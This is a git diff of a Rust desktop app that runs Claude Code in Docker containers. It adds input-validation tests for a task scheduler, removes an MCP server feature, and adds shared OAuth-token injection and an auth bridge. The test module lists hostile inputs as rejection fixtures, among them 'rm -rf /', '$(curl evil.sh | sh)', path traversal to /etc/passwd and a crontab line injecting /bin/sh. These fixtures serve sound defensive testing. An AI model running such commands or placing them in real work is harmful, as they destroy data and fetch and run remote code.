vec!["notifications".to_string(), "--clear".to_string()], + ) + .await?; + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn task_id_allowlist_accepts_scheduler_generated_ids() { + assert!(validate_task_id("a1b2c3d4").is_ok()); + assert!(validate_task_id("00000000").is_ok()); + assert!(validate_task_id("task_1-a").is_ok()); + } + + #[test] + fn task_id_allowlist_rejects_injection_and_traversal() { + for bad in [ + "", + "a b", + "a;rm -rf /", + "a$(id)", + "a`id`", + "a|b", + "a&b", + "a>b", + "a'b", + "a\"b", + "a\nb", + "../../etc/passwd", + "a/b", + "a.json", + "-id", + "--id", + &"a".repeat(65), + ] { + assert!( + validate_task_id(bad).is_err(), + "should have rejected {:?}", + bad + ); + } + } + + #[test] + fn session_id_allowlist_accepts_uuids_only() { + assert!(validate_session_id("e13d312d-2f38-4cf6-b0e0-1db60208a74c").is_ok()); + assert!(validate_session_id("zzzz").is_err()); + assert!(validate_session_id("abc; rm -rf /").is_err()); + assert!(validate_session_id("-abc").is_err()); + assert!(validate_session_id("").is_err()); + } + + #[test] + fn parse_or_default_degrades_on_garbage() { + let v: Vec = parse_or_default("not json", "test"); + assert!(v.is_empty()); + let v: Vec = parse_or_default(" ", "test"); + assert!(v.is_empty()); + let caps: ContainerCapabilities = parse_or_default("{}", "test"); + assert_eq!(caps.skills.count, 0); + } + + #[test] + fn epoch_to_iso_is_rfc3339() { + assert!(epoch_to_iso(0).starts_with("1970-01-01T00:00:00")); + } + + // ── Task creation ──────────────────────────────────────────────────────── + + fn recurring(name: &str, prompt: &str) -> Result { + validate_task_input(name, prompt, ScheduleKind::Recurring, "*/30 * * * *", None) + } + + /// The whole injection story: a prompt full of shell syntax is carried + /// through as one argv element, byte for byte, with nothing escaped or + /// stripped — because nothing downstream is a shell. + #[test] + fn shell_metacharacters_survive_as_one_argv_element() { + for hostile in [ + "; rm -rf /", + "$(id)", + "`id`", + "$(curl evil.sh | sh)", + "x\"; rm -rf / #", + "x' ; rm -rf / ; '", + "line one\nline two\n; rm -rf /", + "a | b & c > d < e", + "${HOME}/../etc/passwd", + "%injected", + ] { + let input = recurring("nightly", hostile).expect("prompt is data, not syntax"); + assert_eq!(input.prompt, hostile); + + let args = input.add_args(); + // Exactly one element equals the hostile string, and it is the one + // straight after `--prompt`. + let at = args.iter().position(|a| a == "--prompt").unwrap(); + assert_eq!(args[at + 1], hostile, "prompt must be its own argv element"); + assert_eq!( + args.iter().filter(|a| a.contains("rm -rf")).count(), + usize::from(hostile.contains("rm -rf")), + "no other argv element should have absorbed the payload" + ); + // No shell ever appears in the command line we build. + assert!(!args.iter().any(|a| a == "sh" || a == "-c" || a == "bash")); + } + } + + #[test] + fn add_args_are_flag_value_pairs_in_the_schedulers_own_spelling() { + let input = validate_task_input( + "nightly tests", + "Run the suite", + ScheduleKind::Recurring, + "0 3 * * *", + Some("/workspace/triple-c"), + ) + .unwrap(); + assert_eq!( + input.add_args(), + vec![ + "add", + "--name", + "nightly tests", + "--prompt", + "Run the suite", + "--schedule", + "0 3 * * *", + "--working-dir", + "/workspace/triple-c", + ] + ); + + let once = validate_task_input( + "one shot", + "Commit", + ScheduleKind::Once, + "2026-12-25 09:05", + None, + ) + .unwrap(); + assert_eq!( + once.add_args()[5..], + ["--at", "2026-12-25 09:05", "--working-dir", "/workspace"] + ); + } + + #[test] + fn task_name_rejects_option_lookalikes_and_control_characters() { + assert!(validate_task_name("-id").is_err()); + assert!(validate_task_name("--prompt").is_err()); + assert!(validate_task_name("").is_err()); + assert!(validate_task_name(" ").is_err()); + assert!(validate_task_name("two\nlines").is_err()); + assert!(validate_task_name("tab\there").is_err()); + assert!(validate_task_name("nul\0byte").is_err()); + assert!(validate_task_name(&"n".repeat(MAX_TASK_NAME_LEN + 1)).is_err()); + + // A name is free text otherwise; metacharacters are inert as argv. + assert_eq!(validate_task_name(" nightly; rm -rf / ").unwrap(), "nightly; rm -rf /"); + assert_eq!(validate_task_name("$(id)").unwrap(), "$(id)"); + assert_eq!(validate_task_name(&"n".repeat(MAX_TASK_NAME_LEN)).unwrap().len(), MAX_TASK_NAME_LEN); + } + + #[test] + fn task_prompt_allows_newlines_but_not_nul_or_novels() { + assert_eq!( + validate_task_prompt("first\nsecond\ttabbed").unwrap(), + "first\nsecond\ttabbed" + ); + assert!(validate_task_prompt("").is_err()); + assert!(validate_task_prompt(" \n ").is_err()); + assert!(validate_task_prompt("bad\0nul").is_err()); + assert!(validate_task_prompt(&"p".repeat(MAX_TASK_PROMPT_LEN + 1)).is_err()); + } + + #[test] + fn working_dir_must_be_absolute() { + assert_eq!(validate_working_dir(None).unwrap(), "/workspace"); + assert_eq!(validate_working_dir(Some(" ")).unwrap(), "/workspace"); + assert_eq!(validate_working_dir(Some("/workspace/app")).unwrap(), "/workspace/app"); + + for bad in [ + "workspace", + "./workspace", + "~/workspace", + "-/workspace", + "/workspace/../etc", + "/work\nspace", + "/work\0space", + ] { + assert!( + validate_working_dir(Some(bad)).is_err(), + "should have rejected {:?}", + bad + ); + } + assert!(validate_working_dir(Some(&format!("/{}", "d".repeat(MAX_WORKING_DIR_LEN)))).is_err()); + } + + #[test] + fn cron_accepts_real_expressions() { + for good in [ + "* * * * *", + "*/30 * * * *", + "0 3 * * *", + "0 9 * * 1-5", + "0,30 9-17 * * 1-5", + "15 0 1 1 *", + "0 9 * * 0", + // vixie cron takes 7 as Sunday, and three-letter names. + "0 9 * * 7", + "0 9 * * MON-FRI", + "0 0 1 JAN *", + "0 0 1 jan sun", + // A step wider than the field is legal; it just means "once". + "0-59/70 * * * *", + "1-5/2 * * * *", + "05 09 * * *", + ] { + assert!( + validate_cron_expression(good).is_ok(), + "should have accepted {:?}: {:?}", + good, + validate_cron_expression(good) + ); + } + } + + #[test] + fn cron_rejects_what_crontab_would_reject() { + for bad in [ + "", + "* * * *", // four fields + "* * * * * *", // six + "@daily", // shorthand the scheduler cannot place in a line + "not a cron", + "99 * * * *", // minute out of range + "0 24 * * *", // hour out of range + "0 0 0 1 *", // day-of-month is 1-based + "0 9 * * 8", // day-of-week is 0-7 + "0 9 * 13 *", // month out of range + "*/0 * * * *", // zero step + "1/2 * * * *", // step without * or a range + "0 9 * * MON-FRO", // not a weekday + "0 9 * * mon,", // empty list element + "0 9 * * ,mon", + "0 9 * * 1--5", + "0 9 * * 1-5/", // empty step + "0 9 * * 1-5/x", + // Names only apply to their own field: no month in day-of-week, + // and no names at all in minute/hour/day-of-month. + "0 9 * * jan", + "jan 9 * * *", + "0 mon * * *", + "0 9 * * *; rm -rf /", + "$(id) * * * *", + "0 9 * * *`id`", + "99999999999999999999 * * * *", + ] { + assert!( + validate_cron_expression(bad).is_err(), + "should have rejected {:?}", + bad + ); + } + assert!(validate_cron_expression(&"1 ".repeat(200)).is_err()); + } + + /// The crontab line is ` `, so any whitespace the + /// user typed has to be flattened before it can start a second line. + #[test] + fn cron_normalisation_flattens_whitespace_and_newlines() { + assert_eq!( + validate_cron_expression(" 0 9 * * * ").unwrap(), + "0 9 * * *" + ); + assert_eq!( + validate_cron_expression("0 9 * *\n*").unwrap(), + "0 9 * * *" + ); + assert_eq!(validate_cron_expression("0\t9\t*\t*\t*").unwrap(), "0 9 * * *"); + // An injected extra line is extra fields, and five is five. + assert!(validate_cron_expression("* * * * *\n* * * * * /bin/sh").is_err()); + + let input = + validate_task_input("n", "p", ScheduleKind::Recurring, "0 9 * *\n*", None).unwrap(); + assert!(!input.schedule.contains('\n')); + assert_eq!(input.schedule, "0 9 * * *"); + } + + #[test] + fn at_timestamp_matches_the_schedulers_own_format() { + assert_eq!( + validate_at_timestamp(" 2026-12-25 09:05 ").unwrap(), + "2026-12-25 09:05" + ); + for bad in [ + "", + "tomorrow", + "2026-1-5 09:05", // the scheduler's regex demands two digits + "2026-12-25T09:05", + "2026-12-25 09:05:00", + "2026-13-01 09:05", + "2026-02-30 09:05", // not a real day + "2026-12-25 25:00", + "2026-12-25 09:05\n* * * * * /bin/sh", + "$(date) 09:05", + ] { + assert!( + validate_at_timestamp(bad).is_err(), + "should have rejected {:?}", + bad + ); + } + } + + #[test] + fn created_task_id_comes_from_the_first_id_line_and_is_revalidated() { + let output = "Task created:\n ID: 5c2fa70d\n Name: nightly\n Type: recurring\n Schedule: */30 * * * *\n Prompt: ID: not-this-one\n"; + assert_eq!(parse_created_task_id(output).as_deref(), Some("5c2fa70d")); + + assert_eq!(parse_created_task_id("").as_deref(), None); + assert_eq!(parse_created_task_id("Task created:\n").as_deref(), None); + // A malformed id is dropped rather than passed to a later subcommand. + assert_eq!(parse_created_task_id(" ID: ../../etc/passwd\n").as_deref(), None); + assert_eq!(parse_created_task_id(" ID: a; rm -rf /\n").as_deref(), None); + } +} diff --git a/app/src-tauri/src/commands/mcp_commands.rs b/app/src-tauri/src/commands/mcp_commands.rs deleted file mode 100644 index 771a227..0000000 --- a/app/src-tauri/src/commands/mcp_commands.rs +++ /dev/null @@ -1,38 +0,0 @@ -use tauri::State; - -use crate::models::McpServer; -use crate::AppState; - -#[tauri::command] -pub async fn list_mcp_servers(state: State<'_, AppState>) -> Result, String> { - Ok(state.mcp_store.list()) -} - -#[tauri::command] -pub async fn add_mcp_server( - name: String, - state: State<'_, AppState>, -) -> Result { - let name = name.trim().to_string(); - if name.is_empty() { - return Err("MCP server name cannot be empty.".to_string()); - } - let server = McpServer::new(name); - state.mcp_store.add(server) -} - -#[tauri::command] -pub async fn update_mcp_server( - server: McpServer, - state: State<'_, AppState>, -) -> Result { - state.mcp_store.update(server) -} - -#[tauri::command] -pub async fn remove_mcp_server( - server_id: String, - state: State<'_, AppState>, -) -> Result<(), String> { - state.mcp_store.remove(&server_id) -} diff --git a/app/src-tauri/src/commands/mod.rs b/app/src-tauri/src/commands/mod.rs index 555b692..c046d5e 100644 --- a/app/src-tauri/src/commands/mod.rs +++ b/app/src-tauri/src/commands/mod.rs @@ -1,9 +1,11 @@ +pub mod auth_bridge_commands; +pub mod auth_token_commands; pub mod aws_commands; pub mod docker_commands; pub mod file_commands; pub mod help_commands; +pub mod inspect_commands; pub mod install_helper_commands; -pub mod mcp_commands; pub mod project_commands; pub mod settings_commands; pub mod stt_commands; diff --git a/app/src-tauri/src/commands/project_commands.rs b/app/src-tauri/src/commands/project_commands.rs index c947a64..a53dcf8 100644 --- a/app/src-tauri/src/commands/project_commands.rs +++ b/app/src-tauri/src/commands/project_commands.rs @@ -2,7 +2,7 @@ use tauri::{Emitter, State}; use crate::commands::aws_commands; use crate::docker; -use crate::models::{container_config, Backend, BedrockAuthMethod, McpServer, Project, ProjectPath, ProjectStatus}; +use crate::models::{container_config, Backend, BedrockAuthMethod, Project, ProjectPath, ProjectStatus}; use crate::storage::secure; use crate::AppState; @@ -63,19 +63,6 @@ fn load_secrets_for_project(project: &mut Project) { } } -/// Resolve enabled MCP servers and filter to Docker-only ones. -fn resolve_mcp_servers(project: &Project, state: &AppState) -> (Vec, Vec) { - let all_mcp_servers = state.mcp_store.list(); - let enabled_mcp: Vec = project.enabled_mcp_servers.iter() - .filter_map(|id| all_mcp_servers.iter().find(|s| &s.id == id).cloned()) - .collect(); - let docker_mcp: Vec = enabled_mcp.iter() - .filter(|s| s.is_docker()) - .cloned() - .collect(); - (enabled_mcp, docker_mcp) -} - #[tauri::command] pub async fn list_projects(state: State<'_, AppState>) -> Result, String> { Ok(state.projects_store.list()) @@ -113,6 +100,10 @@ pub async fn remove_project( project_id: String, state: State<'_, AppState>, ) -> Result<(), String> { + // Release any host loopback ports the auth bridge holds for this project + // before the container (and the project record) go away. + state.auth_bridge.stop(&project_id).await; + // Stop and remove container if it exists if let Some(ref project) = state.projects_store.get(&project_id) { if let Some(ref container_id) = project.container_id { @@ -121,16 +112,10 @@ pub async fn remove_project( let _ = docker::remove_container(container_id).await; } - // Remove MCP containers and network - let (_enabled_mcp, docker_mcp) = resolve_mcp_servers(project, &state); - if !docker_mcp.is_empty() { - if let Err(e) = docker::remove_mcp_containers(&docker_mcp).await { - log::warn!("Failed to remove MCP containers for project {}: {}", project_id, e); - } - } - if let Err(e) = docker::remove_project_network(&project.id).await { - log::warn!("Failed to remove project network for project {}: {}", project_id, e); - } + // Legacy MCP cleanup (pre-MCP-removal installs): drop any leftover MCP + // containers first, then the per-project network they were attached to. + docker::remove_legacy_mcp_containers(&project.id).await; + docker::remove_legacy_project_network(&project.id).await; // Clean up the snapshot image + volumes if let Err(e) = docker::remove_snapshot_image(project).await { @@ -152,10 +137,35 @@ pub async fn remove_project( #[tauri::command] pub async fn update_project( project: Project, + app_handle: tauri::AppHandle, state: State<'_, AppState>, ) -> Result { store_secrets_for_project(&project)?; - state.projects_store.update(project) + let updated = state.projects_store.update(project)?; + + // `auth_bridge_enabled` can arrive through this generic save as well as + // through `set_auth_bridge_enabled`, so reconcile the running bridge with + // whatever was just persisted. `start` is idempotent and `stop` is a no-op + // when nothing is running, so this is safe on every project save. + if updated.auth_bridge_enabled { + if let Some(ref container_id) = updated.container_id { + if docker::is_container_running(container_id).await.unwrap_or(false) { + state + .auth_bridge + .start( + updated.id.clone(), + container_id.clone(), + app_handle, + state.projects_store.clone(), + ) + .await; + } + } + } else { + state.auth_bridge.stop(&updated.id).await; + } + + Ok(updated) } #[tauri::command] @@ -177,9 +187,6 @@ pub async fn start_project_container( let settings = state.settings_store.get(); let image_name = container_config::resolve_image_name(&settings.image_source, &settings.custom_image_name); - // Resolve enabled MCP servers for this project - let (enabled_mcp, docker_mcp) = resolve_mcp_servers(&project, &state); - // Validate backend requirements if project.backend == Backend::Bedrock { let bedrock = project.bedrock_config.as_ref() @@ -300,39 +307,6 @@ pub async fn start_project_container( // AWS config path from global settings let aws_config_path = settings.global_aws.aws_config_path.clone(); - // Set up Docker network and MCP containers if needed - let network_name = if !docker_mcp.is_empty() { - // Pull any missing MCP Docker images before starting containers - for server in &docker_mcp { - if let Some(ref image) = server.docker_image { - if !docker::image_exists(image).await.unwrap_or(false) { - emit_progress( - &app_handle, - &project_id, - &format!("Pulling MCP image for '{}'...", server.name), - ); - let image_clone = image.clone(); - let app_clone = app_handle.clone(); - let pid_clone = project_id.clone(); - let sname = server.name.clone(); - docker::pull_image(&image_clone, move |msg| { - emit_progress(&app_clone, &pid_clone, &format!("[{}] {}", sname, msg)); - }).await.map_err(|e| { - format!("Failed to pull MCP image '{}' for '{}': {}", image, server.name, e) - })?; - } - } - } - - emit_progress(&app_handle, &project_id, "Setting up MCP network..."); - let net = docker::ensure_project_network(&project.id).await?; - emit_progress(&app_handle, &project_id, "Starting MCP containers..."); - docker::start_mcp_containers(&docker_mcp, &net).await?; - Some(net) - } else { - None - }; - let container_id = if let Some(existing_id) = docker::find_existing_container(&project).await? { // Check if config changed — if so, snapshot + recreate let needs_recreate = docker::container_needs_recreation( @@ -344,7 +318,6 @@ pub async fn start_project_container( settings.global_claude_instructions.as_deref(), &settings.global_custom_env_vars, settings.timezone.as_deref(), - &enabled_mcp, settings.global_claude_code_settings.as_ref(), settings.default_ssh_key_path.as_deref(), settings.default_git_user_name.as_deref(), @@ -362,6 +335,12 @@ pub async fn start_project_container( let _ = docker::stop_container(&existing_id).await; docker::remove_container(&existing_id).await?; + // Legacy MCP cleanup: the old container may have been attached to + // `triple-c-net-`. Tear down leftover MCP containers and + // that network now, before the replacement is created without it. + docker::remove_legacy_mcp_containers(&project.id).await; + docker::remove_legacy_project_network(&project.id).await; + // Create from snapshot image (preserves system-level changes) let snapshot_image = docker::get_snapshot_image_name(&project); let create_image = if docker::image_exists(&snapshot_image).await.unwrap_or(false) { @@ -381,8 +360,6 @@ pub async fn start_project_container( settings.global_claude_instructions.as_deref(), &settings.global_custom_env_vars, settings.timezone.as_deref(), - &enabled_mcp, - network_name.as_deref(), settings.global_claude_code_settings.as_ref(), settings.default_ssh_key_path.as_deref(), settings.default_git_user_name.as_deref(), @@ -420,8 +397,6 @@ pub async fn start_project_container( settings.global_claude_instructions.as_deref(), &settings.global_custom_env_vars, settings.timezone.as_deref(), - &enabled_mcp, - network_name.as_deref(), settings.global_claude_code_settings.as_ref(), settings.default_ssh_key_path.as_deref(), settings.default_git_user_name.as_deref(), @@ -454,6 +429,20 @@ pub async fn start_project_container( state.projects_store.set_container_id(&project_id, Some(container_id.clone()))?; state.projects_store.update_status(&project_id, ProjectStatus::Running)?; + // Arm the auth bridge if this project opted in. Purely host-side, so it + // happens after the container is up and never affects the start itself. + if project.auth_bridge_enabled { + state + .auth_bridge + .start( + project_id.clone(), + container_id.clone(), + app_handle.clone(), + state.projects_store.clone(), + ) + .await; + } + project.container_id = Some(container_id); project.status = ProjectStatus::Running; Ok(project) @@ -472,6 +461,9 @@ pub async fn stop_project_container( state.projects_store.update_status(&project_id, ProjectStatus::Stopping)?; + // Drop host listeners first: they only make sense while the container runs. + state.auth_bridge.stop(&project_id).await; + if let Some(ref container_id) = project.container_id { // Close exec sessions for this project emit_progress(&app_handle, &project_id, "Stopping container..."); @@ -482,15 +474,6 @@ pub async fn stop_project_container( } } - // Stop MCP containers (best-effort) - let (_enabled_mcp, docker_mcp) = resolve_mcp_servers(&project, &state); - if !docker_mcp.is_empty() { - emit_progress(&app_handle, &project_id, "Stopping MCP containers..."); - if let Err(e) = docker::stop_mcp_containers(&docker_mcp).await { - log::warn!("Failed to stop MCP containers for project {}: {}", project_id, e); - } - } - state.projects_store.update_status(&project_id, ProjectStatus::Stopped)?; Ok(()) } @@ -506,6 +489,10 @@ pub async fn rebuild_project_container( .get(&project_id) .ok_or_else(|| format!("Project {} not found", project_id))?; + // The bridge is bound to the container that is about to be destroyed; + // `start_project_container` below re-arms it against the new one. + state.auth_bridge.stop(&project_id).await; + // Remove existing container if let Some(ref container_id) = project.container_id { state.exec_manager.close_sessions_for_container(container_id).await; @@ -514,14 +501,6 @@ pub async fn rebuild_project_container( state.projects_store.set_container_id(&project_id, None)?; } - // Remove MCP containers before rebuild - let (_enabled_mcp, docker_mcp) = resolve_mcp_servers(&project, &state); - if !docker_mcp.is_empty() { - if let Err(e) = docker::remove_mcp_containers(&docker_mcp).await { - log::warn!("Failed to remove MCP containers for project {}: {}", project_id, e); - } - } - // Remove snapshot image + volumes so Reset creates from the clean base image if let Err(e) = docker::remove_snapshot_image(&project).await { log::warn!("Failed to remove snapshot image for project {}: {}", project_id, e); @@ -540,6 +519,7 @@ pub async fn rebuild_project_container( /// to Stopped. #[tauri::command] pub async fn reconcile_project_statuses( + app_handle: tauri::AppHandle, state: State<'_, AppState>, ) -> Result, String> { let projects = state.projects_store.list(); @@ -561,6 +541,22 @@ pub async fn reconcile_project_statuses( project.name, project.id ); + // The app may have restarted while the container kept running; the + // bridge lives in this process, so re-arm it here. `start` is + // idempotent, so a bridge that is already polling is untouched. + if project.auth_bridge_enabled { + if let Some(ref container_id) = project.container_id { + state + .auth_bridge + .start( + project.id.clone(), + container_id.clone(), + app_handle.clone(), + state.projects_store.clone(), + ) + .await; + } + } } else { log::info!( "Project '{}' ({}) container is not running — setting to Stopped", diff --git a/app/src-tauri/src/commands/terminal_commands.rs b/app/src-tauri/src/commands/terminal_commands.rs index 2df434f..2e05bd8 100644 --- a/app/src-tauri/src/commands/terminal_commands.rs +++ b/app/src-tauri/src/commands/terminal_commands.rs @@ -17,11 +17,11 @@ fn build_terminal_cmd(project: &Project, state: &AppState, session_name: Option< .map(|b| b.auth_method == BedrockAuthMethod::Profile) .unwrap_or(false); + let permission_args = project.effective_permission_mode().cli_args(); + if !is_bedrock_profile { let mut cmd = vec!["claude".to_string()]; - if project.full_permissions { - cmd.push("--dangerously-skip-permissions".to_string()); - } + cmd.extend(permission_args); if let Some(name) = session_name { if !name.is_empty() { cmd.push("-n".to_string()); @@ -42,11 +42,13 @@ fn build_terminal_cmd(project: &Project, state: &AppState, session_name: Option< .filter(|n| !n.is_empty()) .map(|n| format!(" -n '{}'", n.replace('\'', "'\\''"))) .unwrap_or_default(); - let claude_cmd = if project.full_permissions { - format!("exec claude --dangerously-skip-permissions{}", name_flag) - } else { - format!("exec claude{}", name_flag) - }; + // The args are interpolated into a shell script string, so single-quote + // each one (same escaping style as name_flag above). + let permission_flags: String = permission_args + .iter() + .map(|a| format!(" '{}'", a.replace('\'', "'\\''"))) + .collect(); + let claude_cmd = format!("exec claude{}{}", permission_flags, name_flag); let script = format!( r#" diff --git a/app/src-tauri/src/docker/container.rs b/app/src-tauri/src/docker/container.rs index 0c9f997..c98bf12 100644 --- a/app/src-tauri/src/docker/container.rs +++ b/app/src-tauri/src/docker/container.rs @@ -8,7 +8,7 @@ use std::collections::HashMap; use sha2::{Sha256, Digest}; use super::client::get_docker; -use crate::models::{Backend, BedrockAuthMethod, ClaudeCodeSettings, ContainerInfo, EnvVar, GlobalAwsSettings, GlobalOllamaSettings, GlobalOpenAiCompatibleSettings, McpServer, McpTransportType, PortMapping, Project, ProjectPath}; +use crate::models::{Backend, BedrockAuthMethod, ClaudeCodeSettings, ContainerInfo, EnvVar, GlobalAwsSettings, GlobalOllamaSettings, GlobalOpenAiCompatibleSettings, PortMapping, Project, ProjectPath}; const SCHEDULER_INSTRUCTIONS: &str = r#"## Scheduled Tasks @@ -171,21 +171,45 @@ fn build_claude_instructions( combined } +/// The env var Claude Code reads a long-lived `claude setup-token` credential +/// from. Named once so injection, the reserved-name blocklist, and the +/// stale-value neutralization pass can never disagree about the spelling. +pub const CLAUDE_OAUTH_TOKEN_ENV: &str = "CLAUDE_CODE_OAUTH_TOKEN"; + +/// Env var name prefixes Triple-C manages itself; users cannot set these by hand. +const RESERVED_ENV_PREFIXES: &[&str] = &["ANTHROPIC_", "AWS_", "GIT_", "HOST_", "TRIPLE_C_"]; + +/// Exact env var names Triple-C manages itself. Not covered by +/// [`RESERVED_ENV_PREFIXES`] because they don't share those prefixes. +/// +/// `MCP_SERVERS_JSON` is reserved for legacy reasons: the built-in MCP feature +/// was removed, but the name stays blocked so users cannot hand-set it. +/// `CLAUDE_CODE_OAUTH_TOKEN` is reserved because Triple-C owns it — a hand-set +/// value would silently outrank the keychain-held shared token and be invisible +/// to the auth UI. +const RESERVED_ENV_EXACT: &[&str] = &[ + "CLAUDE_INSTRUCTIONS", + "MCP_SERVERS_JSON", + "CLAUDE_CODE_SETTINGS_JSON", + "MISSION_CONTROL_ENABLED", + "TRIPLE_C_PERMISSION_MODE", + CLAUDE_OAUTH_TOKEN_ENV, +]; + +/// Whether `key` is an env var name Triple-C reserves for itself. +fn is_reserved_env_key(key: &str) -> bool { + let upper = key.to_uppercase(); + RESERVED_ENV_PREFIXES.iter().any(|p| upper.starts_with(p)) + || RESERVED_ENV_EXACT.iter().any(|e| upper == *e) +} + /// Compute a fingerprint string for the custom environment variables. /// Sorted alphabetically so order changes do not cause spurious recreation. fn compute_env_fingerprint(custom_env_vars: &[EnvVar]) -> String { - let reserved_prefixes = ["ANTHROPIC_", "AWS_", "GIT_", "HOST_", "TRIPLE_C_"]; - let reserved_exact = ["CLAUDE_INSTRUCTIONS", "MCP_SERVERS_JSON", "CLAUDE_CODE_SETTINGS_JSON", "MISSION_CONTROL_ENABLED"]; let mut parts: Vec = Vec::new(); for env_var in custom_env_vars { let key = env_var.key.trim(); - if key.is_empty() { - continue; - } - let upper = key.to_uppercase(); - let is_reserved = reserved_prefixes.iter().any(|p| upper.starts_with(p)) - || reserved_exact.iter().any(|e| upper == *e); - if is_reserved { + if key.is_empty() || is_reserved_env_key(key) { continue; } parts.push(format!("{}={}", key, env_var.value)); @@ -194,6 +218,45 @@ fn compute_env_fingerprint(custom_env_vars: &[EnvVar]) -> String { parts.join(",") } +/// The shared Claude Code OAuth token to inject for this project, paired with +/// its rotation id. +/// +/// `None` unless *all* of: the backend is Anthropic (the token is meaningless +/// to Bedrock/Ollama/OpenAI-compatible), the project has not opted out, and a +/// non-blank token is actually in the keychain. Read here rather than passed in +/// because the token is global, not part of the per-project record. +/// +/// The returned token is never logged and never leaves this module except as +/// the env var value handed to Docker. +fn shared_claude_auth(project: &Project) -> Option<(String, String)> { + if project.backend != Backend::Anthropic || !project.use_shared_auth_token { + return None; + } + let token = crate::storage::secure::get_claude_oauth_token() + .unwrap_or_else(|e| { + log::warn!("Could not read the shared Claude token from the keychain: {}", e); + None + }) + .filter(|t| !t.trim().is_empty())?; + // A token with no rotation id predates versioning (or the id write failed). + // A constant stand-in still differs from the empty "no token" label, so + // presence changes are caught; only rotations could be missed. + let version = crate::storage::secure::get_claude_oauth_token_version() + .unwrap_or(None) + .unwrap_or_else(|| "unversioned".to_string()); + Some((token, version)) +} + +/// Label value tracking which shared Claude token (if any) a container was +/// created with. Empty means "none injected". See +/// [`crate::storage::secure`] for why this is a random rotation id rather than +/// a hash of the token. +fn claude_token_label(project: &Project) -> String { + shared_claude_auth(project) + .map(|(_, version)| version) + .unwrap_or_default() +} + /// Merge global and per-project custom environment variables. /// Per-project variables override global variables with the same key. fn merge_custom_env_vars(global: &[EnvVar], project: &[EnvVar]) -> Vec { @@ -476,83 +539,6 @@ fn build_claude_code_settings_json( } } -/// Build the JSON value for MCP servers config to be injected into ~/.claude.json. -/// Produces `{"mcpServers": {"name": {"type": "stdio", ...}, ...}}`. -/// -/// Handles 4 modes: -/// - Stdio+Docker: `docker exec -i ...args` -/// - Stdio+Manual: ` ...args` (existing behavior) -/// - HTTP+Docker: `streamableHttp` URL pointing to `http://:/mcp` -/// - HTTP+Manual: `streamableHttp` with user-provided URL + headers -fn build_mcp_servers_json(servers: &[McpServer]) -> String { - let mut mcp_map = serde_json::Map::new(); - for server in servers { - let mut entry = serde_json::Map::new(); - match server.transport_type { - McpTransportType::Stdio => { - entry.insert("type".to_string(), serde_json::json!("stdio")); - if server.is_docker() { - // Stdio+Docker: use `docker exec` to communicate with MCP container - entry.insert("command".to_string(), serde_json::json!("docker")); - let mut args = vec![ - "exec".to_string(), - "-i".to_string(), - server.mcp_container_name(), - ]; - if let Some(ref cmd) = server.command { - args.push(cmd.clone()); - } - args.extend(server.args.iter().cloned()); - entry.insert("args".to_string(), serde_json::json!(args)); - } else { - // Stdio+Manual: existing behavior - if let Some(ref cmd) = server.command { - entry.insert("command".to_string(), serde_json::json!(cmd)); - } - if !server.args.is_empty() { - entry.insert("args".to_string(), serde_json::json!(server.args)); - } - } - if !server.env.is_empty() { - entry.insert("env".to_string(), serde_json::json!(server.env)); - } - } - McpTransportType::Http => { - entry.insert("type".to_string(), serde_json::json!("streamableHttp")); - if server.is_docker() { - // HTTP+Docker: point to MCP container by name on the shared network - let url = format!( - "http://{}:{}/mcp", - server.mcp_container_name(), - server.effective_container_port() - ); - entry.insert("url".to_string(), serde_json::json!(url)); - } else { - // HTTP+Manual: user-provided URL + headers - if let Some(ref url) = server.url { - entry.insert("url".to_string(), serde_json::json!(url)); - } - if !server.headers.is_empty() { - entry.insert("headers".to_string(), serde_json::json!(server.headers)); - } - } - } - } - mcp_map.insert(server.name.clone(), serde_json::Value::Object(entry)); - } - let wrapper = serde_json::json!({ "mcpServers": mcp_map }); - serde_json::to_string(&wrapper).unwrap_or_default() -} - -/// Compute a fingerprint for MCP server configuration so we can detect changes. -fn compute_mcp_fingerprint(servers: &[McpServer]) -> String { - if servers.is_empty() { - return String::new(); - } - let json = build_mcp_servers_json(servers); - sha256_hex(&json) -} - pub async fn find_existing_container(project: &Project) -> Result, String> { let docker = get_docker()?; let container_name = project.container_name(); @@ -594,8 +580,6 @@ pub async fn create_container( global_claude_instructions: Option<&str>, global_custom_env_vars: &[EnvVar], timezone: Option<&str>, - mcp_servers: &[McpServer], - network_name: Option<&str>, global_claude_code_settings: Option<&ClaudeCodeSettings>, default_ssh_key_path: Option<&str>, default_git_user_name: Option<&str>, @@ -757,6 +741,19 @@ pub async fn create_container( } } + // Shared Claude Code OAuth token (Anthropic backend only, opt-out per + // project). Injected *before* the neutralization pass below so that pass + // sees it as already-set; when it is absent the pass actively blanks the + // variable instead of leaving a stale one baked into the snapshot image. + let shared_claude = shared_claude_auth(project); + if let Some((ref token, _)) = shared_claude { + env_vars.push(format!("{}={}", CLAUDE_OAUTH_TOKEN_ENV, token)); + log::info!( + "Injecting the shared Claude authentication token into the container for project {}", + project.id + ); + } + // ── Neutralize stale backend auth env vars ────────────────────────────── // When a project switches backends (e.g. Bedrock → Anthropic) the container // is recreated *from a snapshot image* committed off the previous container. @@ -781,6 +778,11 @@ pub async fn create_container( "ANTHROPIC_MODEL", "DISABLE_PROMPT_CACHING", "ANTHROPIC_BEDROCK_SERVICE_TIER", + // Revoking the shared token, opting a project out, or switching away + // from the Anthropic backend must *clear* this, not merely stop setting + // it — otherwise the value committed into the snapshot image keeps + // authenticating the container with a credential the user removed. + CLAUDE_OAUTH_TOKEN_ENV, ]; let already_set: std::collections::HashSet = env_vars .iter() @@ -794,17 +796,12 @@ pub async fn create_container( // Custom environment variables (global + per-project, project overrides global for same key) let merged_env = merge_custom_env_vars(global_custom_env_vars, &project.custom_env_vars); - let reserved_prefixes = ["ANTHROPIC_", "AWS_", "GIT_", "HOST_", "TRIPLE_C_"]; - let reserved_exact = ["CLAUDE_INSTRUCTIONS", "MCP_SERVERS_JSON", "CLAUDE_CODE_SETTINGS_JSON", "MISSION_CONTROL_ENABLED"]; for env_var in &merged_env { let key = env_var.key.trim(); if key.is_empty() { continue; } - let upper = key.to_uppercase(); - let is_reserved = reserved_prefixes.iter().any(|p| upper.starts_with(p)) - || reserved_exact.iter().any(|e| upper == *e); - if is_reserved { + if is_reserved_env_key(key) { log::warn!("Skipping reserved env var: {}", key); continue; } @@ -825,6 +822,13 @@ pub async fn create_container( env_vars.push("MISSION_CONTROL_ENABLED=1".to_string()); } + // Permission mode — read by triple-c-task-runner for scheduled (headless) + // Claude Code runs. Interactive terminals get the flags directly instead. + 